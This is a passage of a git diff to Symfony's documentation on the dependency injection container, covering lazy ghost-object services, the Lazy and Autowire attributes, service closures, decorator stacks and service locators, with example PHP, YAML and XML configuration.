+Once you inject the service into another service, a lazy ghost object with the +same signature of the class representing the service should be injected. A lazy +`ghost object`_ is an object that is created empty and that is able to initialize +itself when being accessed for the first time). The same happens when calling +``Container::get()`` directly. + +You can also configure your service's laziness thanks to the +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute. +For example, to define your service as lazy use the following:: + + namespace App\Twig; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + use Twig\Extension\ExtensionInterface; + + #[Autoconfigure(lazy: true)] + class AppExtension implements ExtensionInterface + { + // ... + } + +You can also configure laziness when your service is injected with the +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` attribute:: + + namespace App\Service; + + use App\Twig\AppExtension; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + + class MessageGenerator + { + public function __construct( + #[Autowire(service: 'app.twig.app_extension', lazy: true)] ExtensionInterface $extension + ) { + // ... + } + } + +This attribute also allows you to define the interfaces to proxy when using +laziness, and supports lazy-autowiring of union types:: + + public function __construct( + #[Autowire(service: 'foo', lazy: FooInterface::class)] + FooInterface|BarInterface $foo, + ) { + } + +Another possibility is to use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Lazy` attribute:: -Once you inject the service into another service, a virtual `proxy`_ with the -same signature of the class representing the service should be injected. The -same happens when calling ``Container::get()`` directly. + namespace App\Twig; -The actual class will be instantiated as soon as you try to interact with the -service (e.g. call one of its methods). + use Symfony\Component\DependencyInjection\Attribute\Lazy; + use Twig\Extension\ExtensionInterface; -To check if your proxy works you can check the interface of the received object:: + #[Lazy] + class AppExtension implements ExtensionInterface + { + // ... + } - dump(class_implements($service)); - // the output should include "ProxyManager\Proxy\LazyLoadingInterface" +This attribute can be applied to both class and parameters that should be lazy-loaded. +It defines an optional parameter used to define interfaces for proxy and intersection types:: -.. note:: + public function __construct( + #[Lazy(FooInterface::class)] + FooInterface|BarInterface $foo, + ) { + } - If you don't install the `ProxyManager bridge`_ and the - `ocramius/proxy-manager`_, the container will skip over the ``lazy`` - flag and directly instantiate the service as it would normally do. +.. versionadded:: 7.1 -Additional Resources + The ``#[Lazy]`` attribute was introduced in Symfony 7.1. + +Interface Proxifying -------------------- -You can read more about how proxies are instantiated, generated and initialized -in the `documentation of ProxyManager`_. +Under the hood, proxies generated to lazily load services inherit from the class +used by the service. However, sometimes this is not possible at all (e.g. because +the class is `final`_ and can not be extended) or not convenient. -.. _`ProxyManager bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/ProxyManager -.. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern -.. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md -.. _`ocramius/proxy-manager`: https://github.com/Ocramius/ProxyManager +To workaround this limitation, you can configure a proxy to only implement +specific interfaces. + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + App\Twig\AppExtension: + lazy: 'Twig\Extension\ExtensionInterface' + # or a complete definition: + lazy: true + tags: + - { name: 'proxy', interface: 'Twig\Extension\ExtensionInterface' } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Twig\AppExtension" lazy="Twig\Extension\ExtensionInterface"/> + <!-- or a complete definition: --> + <service id="App\Twig\AppExtension" lazy="true"> + <tag name="proxy" interface="Twig\Extension\ExtensionInterface"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Twig\AppExtension; + use Twig\Extension\ExtensionInterface; + + return function(ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(AppExtension::class) + ->lazy() + ->tag('proxy', ['interface' => ExtensionInterface::class]) + ; + }; + +Just like in the :ref:`Configuration <lazy-services_configuration>` section, you can +use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` +attribute to configure the interface to proxify by passing its FQCN as the ``lazy`` +parameter value:: + + namespace App\Twig; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + use Twig\Extension\ExtensionInterface; + + #[Autoconfigure(lazy: ExtensionInterface::class)] + class AppExtension implements ExtensionInterface + { + // ... + } + +The virtual `proxy`_ injected into other services will only implement the +specified interfaces and will not extend the original service class, allowing to +lazy load services using `final`_ classes. You can configure the proxy to +implement multiple interfaces by adding new "proxy" tags. + +.. tip:: + + This feature can also act as a safe guard: given that the proxy does not + extend the original class, only the methods defined by the interface can + be called, preventing to call implementation specific methods. It also + prevents injecting the dependency at all if you type-hinted a concrete + implementation instead of the interface. + +.. _`ghost object`: https://en.wikipedia.org/wiki/Lazy_loading#Ghost .. _`final`: https://www.php.net/manual/en/language.oop5.final.php +.. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst index ddafa1bb9d5..bc8f03cf7e0 100644 --- a/service_container/optional_dependencies.rst +++ b/service_container/optional_dependencies.rst @@ -38,11 +38,10 @@ if the service does not exist: use App\Newsletter\NewsletterManager; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(NewsletterManager::class) - // In versions earlier to Symfony 5.1 the service() function was called ref() ->args([service('logger')->nullOnInvalid()]); }; @@ -95,8 +94,8 @@ call if the service exists and remove the method call if it does not: use App\Newsletter\NewsletterManager; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(NewsletterManager::class) ->call('setLogger', [service('logger')->ignoreOnInvalid()]) @@ -113,7 +112,7 @@ In YAML, the special ``@?`` syntax tells the service container that the dependency is optional. The ``NewsletterManager`` must also be rewritten by adding a ``setLogger()`` method:: - public function setLogger(LoggerInterface $logger) + public function setLogger(LoggerInterface $logger): void { // ... } diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst index 619ac11452c..b82222c43af 100644 --- a/service_container/parent_services.rst +++ b/service_container/parent_services.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Parent services - How to Manage Common Dependencies with Parent Services ====================================================== @@ -12,21 +9,20 @@ you may have multiple repository classes which need the // src/Repository/BaseDoctrineRepository.php namespace App\Repository; - use Doctrine\Persistence\ObjectManager; + use Doctrine\ORM\EntityManager; use Psr\Log\LoggerInterface; // ... abstract class BaseDoctrineRepository { - protected $objectManager; - protected $logger; + protected LoggerInterface $logger; - public function __construct(ObjectManager $objectManager) - { - $this->objectManager = $objectManager; + public function __construct( + protected EntityManager $entityManager, + ) { } - public function setLogger(LoggerInterface $logger) + public function setLogger(LoggerInterface $logger): void { $this->logger = $logger; } @@ -122,13 +118,12 @@ avoid duplicated service definitions: use App\Repository\DoctrinePostRepository; use App\Repository\DoctrineUserRepository; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(BaseDoctrineRepository::class) ->abstract() ->args([service('doctrine.orm.entity_manager')]) - // In versions earlier to Symfony 5.1 the service() function was called ref() ->call('setLogger', [service('logger')]) ; @@ -232,8 +227,8 @@ the child class: use App\Repository\DoctrineUserRepository; // ... - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(BaseDoctrineRepository::class) // ... diff --git a/service_container/request.rst b/service_container/request.rst index d72a533507b..1abb289983f 100644 --- a/service_container/request.rst +++ b/service_container/request.rst @@ -1,7 +1,3 @@ -.. index:: - single: DependencyInjection; Request - single: Service Container; Request - How to Retrieve the Request from the Service Container ====================================================== @@ -18,14 +14,12 @@ method:: class NewsletterManager { - protected $requestStack; - - public function __construct(RequestStack $requestStack) - { - $this->requestStack = $requestStack; + public function __construct( + protected RequestStack $requestStack, + ) { } - public function anyMethod() + public function anyMethod(): void { $request = $this->requestStack->getCurrentRequest(); // ... do something with the request diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst new file mode 100644 index 00000000000..88b0ab64002 --- /dev/null +++ b/service_container/service_closures.rst @@ -0,0 +1,130 @@ +Service Closures +================ + +This feature wraps the injected service into a closure allowing it to be +lazily loaded when and if needed. +This is useful if the service being injected is a bit heavy to instantiate +or is used only in certain cases. +The service is instantiated the first time the closure is called, while +all subsequent calls return the same instance, unless the service is +:doc:`not shared </service_container/shared>`:: + + // src/Service/MyService.php + namespace App\Service; + + use Symfony\Component\Mailer\MailerInterface; + + class MyService + { + /** + * @param callable(): MailerInterface + */ + public function __construct( + private \Closure $mailer, + ) { + } + + public function doSomething(): void + { + // ... + + $this->getMailer()->send($email); + } + + private function getMailer(): MailerInterface + { + return ($this->mailer)(); + } + } + +To define a service closure and inject it to another service, create an +argument of type ``service_closure``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + App\Service\MyService: + arguments: [!service_closure '@mailer'] + + # In case the dependency is optional + # arguments: [!service_closure '@?mailer'] + + # you can also use the special '@>' syntax as a shortcut of '!service_closure' + App\Service\AnotherService: + arguments: ['@>mailer'] + + # the shortcut also works for optional dependencies + # arguments: ['@>?mailer'] + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Service\MyService"> + <argument type="service_closure" id="mailer"/> + + <!-- + In case the dependency is optional + <argument type="service_closure" id="mailer" on-invalid="ignore"/> + --> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Service\MyService; + + return function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(MyService::class) + ->args([service_closure('mailer')]); + + // In case the dependency is optional + // $services->set(MyService::class) + // ->args([service_closure('mailer')->ignoreOnInvalid()]); + }; + +.. versionadded:: 7.3 + + The ``@>`` shortcut syntax for YAML was introduced in Symfony 7.3. + +.. seealso:: + + Service closures can be injected :ref:`by using autowiring <autowiring_closures>` + and its dedicated attributes. + +.. seealso:: + + Another way to inject services lazily is via a + :doc:`service locator </service_container/service_subscribers_locators>`. + +Using a Service Closure in a Compiler Pass +------------------------------------------ + +In :doc:`compiler passes </service_container/compiler_passes>` you can create +a service closure by wrapping the service reference into an instance of +:class:`Symfony\\Component\\DependencyInjection\\Argument\\ServiceClosureArgument`:: + + use Symfony\Component\DependencyInjection\Argument\ServiceClosureArgument; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Reference; + + public function process(ContainerBuilder $container): void + { + // ... + + $myService->addArgument(new ServiceClosureArgument(new Reference('mailer'))); + } diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index 4c7f2ed0158..e2cadbb0a4b 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -1,6 +1,3 @@ -.. index:: - single: Service Container; Decoration - How to Decorate Services ======================== @@ -44,8 +41,8 @@ When overriding an existing definition, the original service is lost: use App\Mailer; use App\NewMailer; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Mailer::class); @@ -62,6 +59,20 @@ but keeps a reference of the old one as ``.inner``: .. configuration-block:: + .. code-block:: php-attributes + + // src/DecoratingMailer.php + namespace App; + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + + #[AsDecorator(decorates: Mailer::class)] + class DecoratingMailer + { + // ... + } + .. code-block:: yaml # config/services.yaml @@ -101,8 +112,8 @@ but keeps a reference of the old one as ``.inner``: use App\DecoratingMailer; use App\Mailer; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Mailer::class); @@ -125,6 +136,27 @@ automatically changed to ``'.inner'``): .. configuration-block:: + .. code-block:: php-attributes + + // src/DecoratingMailer.php + namespace App; + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; + + #[AsDecorator(decorates: Mailer::class)] + class DecoratingMailer + { + public function __construct( + #[AutowireDecorated] + private object $inner, + ) { + } + + // ... + } + .. code-block:: yaml # config/services.yaml @@ -164,29 +196,31 @@ automatically changed to ``'.inner'``): use App\DecoratingMailer; use App\Mailer; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Mailer::class); $services->set(DecoratingMailer::class) ->decorate(Mailer::class) // pass the old service as an argument - // In versions earlier to Symfony 5.1 the service() function was called ref() ->args([service('.inner')]); }; -.. versionadded:: 5.1 - - The special ``.inner`` value was introduced in Symfony 5.1. In previous - versions you needed to use: ``decorating_service_id + '.inner'``. - -.. tip:: +.. note:: The visibility of the decorated ``App\Mailer`` service (which is an alias for the new service) will still be the same as the original ``App\Mailer`` visibility. +.. note:: + + All custom :doc:`service tags </service_container/tags>` from the decorated + service are removed in the new service. Only certain built-in service tags + defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``, + ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``, + and ``kernel.reset``. + .. note:: The generated inner id is based on the id of the decorator service @@ -236,8 +270,8 @@ automatically changed to ``'.inner'``): use App\DecoratingMailer; use App\Mailer; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Mailer::class); @@ -255,20 +289,50 @@ the ``decoration_priority`` option. Its value is an integer that defaults to .. configuration-block:: + .. code-block:: php-attributes + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; + + #[AsDecorator(decorates: Foo::class, priority: 5)] + class Bar + { + public function __construct( + #[AutowireDecorated] + private $inner, + ) { + } + // ... + } + + #[AsDecorator(decorates: Foo::class, priority: 1)] + class Baz + { + public function __construct( + #[AutowireDecorated] + private $inner, + ) { + } + + // ... + } + .. code-block:: yaml # config/services.yaml - Foo: ~ + services: + Foo: ~ - Bar: - decorates: Foo - decoration_priority: 5 - arguments: ['@.inner'] + Bar: + decorates: Foo + decoration_priority: 5 + arguments: ['@.inner'] - Baz: - decorates: Foo - decoration_priority: 1 - arguments: ['@.inner'] + Baz: + decorates: Foo + decoration_priority: 1 + arguments: ['@.inner'] .. code-block:: xml @@ -297,25 +361,240 @@ the ``decoration_priority`` option. Its value is an integer that defaults to // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); - $services->set(Foo::class); + $services->set(\Foo::class); - $services->set(Bar::class) - ->decorate(Foo::class, null, 5) + $services->set(\Bar::class) + ->decorate(\Foo::class, null, 5) ->args([service('.inner')]); - $services->set(Baz::class) - ->decorate(Foo::class, null, 1) + $services->set(\Baz::class) + ->decorate(\Foo::class, null, 1) ->args([service('.inner')]); }; - The generated code will be the following:: $this->services[Foo::class] = new Baz(new Bar(new Foo())); +Stacking Decorators +------------------- + +An alternative to using decoration priorities is to create a ``stack`` of +ordered services, each one decorating the next: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + decorated_foo_stack: + stack: + - class: Baz + arguments: ['@.inner'] + - class: Bar + arguments: ['@.inner'] + - class: Foo + + # using the short syntax: + decorated_foo_stack: + stack: + - Baz: ['@.inner'] + - Bar: ['@.inner'] + - Foo: ~ + + # can be simplified when autowiring is enabled: + decorated_foo_stack: + stack: + - Baz: ~ + - Bar: ~ + - Foo: ~ + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd" + > + <services> + <stack id="decorated_foo_stack"> + <service class="Baz"> + <argument type="service" id=".inner"/> + </service> + <service class="Bar"> + <argument type="service" id=".inner"/> + </service> + <service class="Foo"/> + </stack> + + <!-- can be simplified when autowiring is enabled: --> + <stack id="decorated_foo_stack"> + <service class="Baz"/> + <service class="Bar"/> + <service class="Foo"/> + </stack> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $container): void { + $container->services() + ->stack('decorated_foo_stack', [ + inline_service(\Baz::class)->args([service('.inner')]), + inline_service(\Bar::class)->args([service('.inner')]), + inline_service(\Foo::class), + ]) + + // can be simplified when autowiring is enabled: + ->stack('decorated_foo_stack', [ + inline_service(\Baz::class), + inline_service(\Bar::class), + inline_service(\Foo::class), + ]) + ; + }; + +The result will be the same as in the previous section:: + + $this->services['decorated_foo_stack'] = new Baz(new Bar(new Foo())); + +Like aliases, a ``stack`` can only use ``public`` and ``deprecated`` attributes. + +Each frame of the ``stack`` can be either an inlined service, a reference or a +child definition. +The latter allows embedding ``stack`` definitions into each others, here's an +advanced example of composition: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + some_decorator: + class: App\Decorator + + embedded_stack: + stack: + - alias: some_decorator + - App\Decorated: ~ + + decorated_foo_stack: + stack: + - parent: embedded_stack + - Baz: ~ + - Bar: ~ + - Foo: ~ + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd" + > + <services> + <service id="some_decorator" class="App\Decorator"/> + + <stack id="embedded_stack"> + <service alias="some_decorator"/> + <service class="App\Decorated"/> + </stack> + + <stack id="decorated_foo_stack"> + <service parent="embedded_stack"/> + <service class="Baz"/> + <service class="Bar"/> + <service class="Foo"/> + </stack> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Decorated; + use App\Decorator; + + return function(ContainerConfigurator $container): void { + $container->services() + ->set('some_decorator', Decorator::class) + + ->stack('embedded_stack', [ + service('some_decorator'), + inline_service(Decorated::class), + ]) + + ->stack('decorated_foo_stack', [ + inline_service()->parent('embedded_stack'), + inline_service(\Baz::class), + inline_service(\Bar::class), + inline_service(\Foo::class), + ]) + ; + }; + +The result will be:: + + $this->services['decorated_foo_stack'] = new App\Decorator(new App\Decorated(new Baz(new Bar(new Foo())))); + +.. note:: + + To change existing stacks (i.e. from a compiler pass), you can access each + frame by its generated id with the following structure: + ``.stack_id.frame_key``. + From the example above, ``.decorated_foo_stack.1`` would be a reference to + the inlined ``Baz`` service and ``.decorated_foo_stack.0`` to the embedded + stack. + To get more explicit ids, you can give a name to each frame: + + .. configuration-block:: + + .. code-block:: yaml + + # ... + decorated_foo_stack: + stack: + first: + parent: embedded_stack + second: + Baz: ~ + # ... + + .. code-block:: xml + + <!-- ... --> + <stack id="decorated_foo_stack"> + <service id="first" parent="embedded_stack"/> + <service id="second" class="Baz"/> + <!-- ... --> + </stack> + + .. code-block:: php + + // ... + ->stack('decorated_foo_stack', [ + 'first' => inline_service()->parent('embedded_stack'), + 'second' => inline_service(\Baz::class), + // ... + ]) + + The ``Baz`` frame id will now be ``.decorated_foo_stack.second``. + Control the Behavior When the Decorated Service Does Not Exist -------------------------------------------------------------- @@ -330,6 +609,24 @@ Three different behaviors are available: .. configuration-block:: + .. code-block:: php-attributes + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; + use Symfony\Component\DependencyInjection\ContainerInterface; + + #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)] + class Bar + { + public function __construct( + #[AutowireDecorated] private $inner, + ) { + } + + // ... + } + .. code-block:: yaml # config/services.yaml @@ -365,8 +662,8 @@ Three different behaviors are available: use Symfony\Component\DependencyInjection\ContainerInterface; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Foo::class); @@ -376,7 +673,7 @@ Three different behaviors are available: ; }; -.. caution:: +.. warning:: When using ``null``, you may have to update the decorator constructor in order to make decorated dependency nullable:: @@ -388,11 +685,9 @@ Three different behaviors are available: class DecoratorService { - private $decorated; - - public function __construct(?OptionalService $decorated) - { - $this->decorated = $decorated; + public function __construct( + private ?OptionalService $decorated, + ) { } public function tellInterestingStuff(): string diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst index e228799e478..9026478cf33 100644 --- a/service_container/service_subscribers_locators.rst +++ b/service_container/service_subscribers_locators.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Service Subscribers - .. _service-locators: Service Subscribers & Locators @@ -12,6 +9,11 @@ instantiation of the services to be lazy. However, that's not possible using the explicit dependency injection since services are not all meant to be ``lazy`` (see :doc:`/service_container/lazy_services`). +.. seealso:: + + Another way to inject services lazily is via a + :doc:`service closure </service_container/service_closures>`. + This can typically be the case in your controllers, where you may inject several services in the constructor, but the action called only uses some of them. Another example are applications that implement the `Command pattern`_ @@ -25,24 +27,22 @@ to handle their respective command when it is asked for:: class CommandBus { /** - * @var CommandHandler[] + * @param CommandHandler[] $handlerMap */ - private $handlerMap; - - public function __construct(array $handlerMap) - { - $this->handlerMap = $handlerMap; + public function __construct( + private array $handlerMap, + ) { } - public function handle(Command $command) + public function handle(Command $command): mixed { - $commandClass = get_class($command); + $commandClass = $command::class; - if (!isset($this->handlerMap[$commandClass])) { + if (!$handler = $this->handlerMap[$commandClass] ?? null) { return; } - return $this->handlerMap[$commandClass]->handle($command); + return $handler->handle($command); } } @@ -67,8 +67,7 @@ Defining a Service Subscriber First, turn ``CommandBus`` into an implementation of :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`. Use its ``getSubscribedServices()`` method to include as many services as needed -in the service subscriber and change the type hint of the container to -a PSR-11 ``ContainerInterface``:: +in the service subscriber:: // src/CommandBus.php namespace App; @@ -80,14 +79,12 @@ a PSR-11 ``ContainerInterface``:: class CommandBus implements ServiceSubscriberInterface { - private $locator; - - public function __construct(ContainerInterface $locator) - { - $this->locator = $locator; + public function __construct( + private ContainerInterface $locator, + ) { } - public static function getSubscribedServices() + public static function getSubscribedServices(): array { return [ 'App\FooCommand' => FooHandler::class, @@ -95,9 +92,9 @@ a PSR-11 ``ContainerInterface``:: ]; } - public function handle(Command $command) + public function handle(Command $command): mixed { - $commandClass = get_class($command); + $commandClass = $command::class; if ($this->locator->has($commandClass)) { $handler = $this->locator->get($commandClass); @@ -113,14 +110,36 @@ a PSR-11 ``ContainerInterface``:: that you have :ref:`autoconfigure <services-autoconfigure>` enabled. You can also manually add the ``container.service_subscriber`` tag. -The injected service is an instance of :class:`Symfony\\Component\\DependencyInjection\\ServiceLocator` -which implements the PSR-11 ``ContainerInterface``, but it is also a callable:: +A service locator is a `PSR-11 container`_ that contains a set of services, +but only instantiates them when they are actually used. Consider the following code:: // ... - $handler = ($this->locator)($commandClass); + $handler = $this->locator->get($commandClass); return $handler->handle($command); +In this example, the ``$handler`` service is only instantiated when the +``$this->locator->get($commandClass)`` method is called. + +You can also type-hint the service locator argument with +:class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` instead of +``Psr\Container\ContainerInterface``. By doing so, you'll be able to +count and iterate over the services of the locator:: + + // ... + $numberOfHandlers = count($this->locator); + $nameOfHandlers = array_keys($this->locator->getProvidedServices()); + + // you can iterate through all services of the locator + foreach ($this->locator as $serviceId => $service) { + // do something with the service, the service id or both + } + +.. versionadded:: 7.1 + + The :class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` was + introduced in Symfony 7.1. + Including Services ------------------ @@ -130,7 +149,7 @@ service locator:: use Psr\Log\LoggerInterface; - public static function getSubscribedServices() + public static function getSubscribedServices(): array { return [ // ... @@ -142,7 +161,7 @@ Service types can also be keyed by a service name for internal use:: use Psr\Log\LoggerInterface; - public static function getSubscribedServices() + public static function getSubscribedServices(): array { return [ // ... @@ -159,7 +178,7 @@ typically happens when extending ``AbstractController``:: class MyController extends AbstractController { - public static function getSubscribedServices() + public static function getSubscribedServices(): array { return array_merge(parent::getSubscribedServices(), [ // ... @@ -176,7 +195,7 @@ errors if there's no matching service found in the service container:: use Psr\Log\LoggerInterface; - public static function getSubscribedServices() + public static function getSubscribedServices(): array { return [ // ... @@ -231,8 +250,8 @@ service type to a service. use App\CommandBus; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(CommandBus::class) ->tag('container.service_subscriber', ['key' => 'logger', 'id' => 'monolog.logger.event']); @@ -243,12 +262,282 @@ service type to a service. The ``key`` attribute can be omitted if the service name internally is the same as in the service container. +Add Dependency Injection Attributes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +As an alternate to aliasing services in your configuration, you can also configure +the following dependency injection attributes in the ``getSubscribedServices()`` +method directly: + +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated` + +This is done by having ``getSubscribedServices()`` return an array of +:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` objects +(these can be combined with standard ``string[]`` values):: + + use Psr\Container\ContainerInterface; + use Psr\Log\LoggerInterface; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; + use Symfony\Component\DependencyInjection\Attribute\Target; + use Symfony\Contracts\Service\Attribute\SubscribedService; + + public static function getSubscribedServices(): array + { + return [ + // ... + new SubscribedService('logger', LoggerInterface::class, attributes: new Autowire(service: 'monolog.logger.event')), + + // can event use parameters + new SubscribedService('env', 'string', attributes: new Autowire('%kernel.environment%')), + + // Target + new SubscribedService('event.logger', LoggerInterface::class, attributes: new Target('eventLogger')), + + // AutowireIterator + new SubscribedService('loggers', 'iterable', attributes: new AutowireIterator('logger.tag')), + + // AutowireLocator + new SubscribedService('handlers', ContainerInterface::class, attributes: new AutowireLocator('handler.tag')), + ]; + } + +.. deprecated:: 7.1 + + The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` + and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` + attributes were deprecated in Symfony 7.1 in favor of + :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator` + and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`. + +.. note:: + + The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``. + +.. _service-locator_autowire-locator: +.. _the-autowirelocator-and-autowireiterator-attributes: + +The AutowireLocator Attribute +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Another way to define a service locator is to use the +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator` +attribute:: + + // src/CommandBus.php + namespace App; + + use App\CommandHandler\BarHandler; + use App\CommandHandler\FooHandler; + use Psr\Container\ContainerInterface; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; + + class CommandBus + { + public function __construct( + #[AutowireLocator([ + FooHandler::class, + BarHandler::class, + ])] + private ContainerInterface $handlers, + ) { + } + + public function handle(Command $command): mixed + { + $commandClass = $command::class; + + if ($this->handlers->has($commandClass)) { + $handler = $this->handlers->get($commandClass); + + return $handler->handle($command); + } + } + } + +Just like with the ``getSubscribedServices()`` method, it is possible +to define aliased services thanks to the array keys, as well as optional +services, plus you can nest it with +:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` +attribute:: + + // src/CommandBus.php + namespace App; + + use App\CommandHandler\BarHandler; + use App\CommandHandler\BazHandler; + use App\CommandHandler\FooHandler; + use Psr\Container\ContainerInterface; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; + use Symfony\Contracts\Service\Attribute\SubscribedService; + + class CommandBus + { + public function __construct( + #[AutowireLocator([ + 'foo' => FooHandler::class, + 'bar' => new SubscribedService(type: 'string', attributes: new Autowire('%some.parameter%')), + 'optionalBaz' => '?'.BazHandler::class, + ])] + private ContainerInterface $handlers, + ) { + } + + public function handle(Command $command): mixed + { + $fooHandler = $this->handlers->get('foo'); + + // ... + } + } + +.. _service-locator_autowire-iterator: + +The AutowireIterator Attribute +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A variant of ``AutowireLocator`` that injects an iterable of services tagged +with a specific :doc:`tag </service_container/tags>`. This is useful to loop +over a set of tagged services instead of retrieving them individually. + +For example, to collect all handlers for different command types, use the +``AutowireIterator`` attribute and pass the tag used by those services:: + + // src/CommandBus.php + namespace App; + + use App\CommandHandler\BarHandler; + use App\CommandHandler\FooHandler; + use Psr\Container\ContainerInterface; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + + class CommandBus + { + public function __construct( + 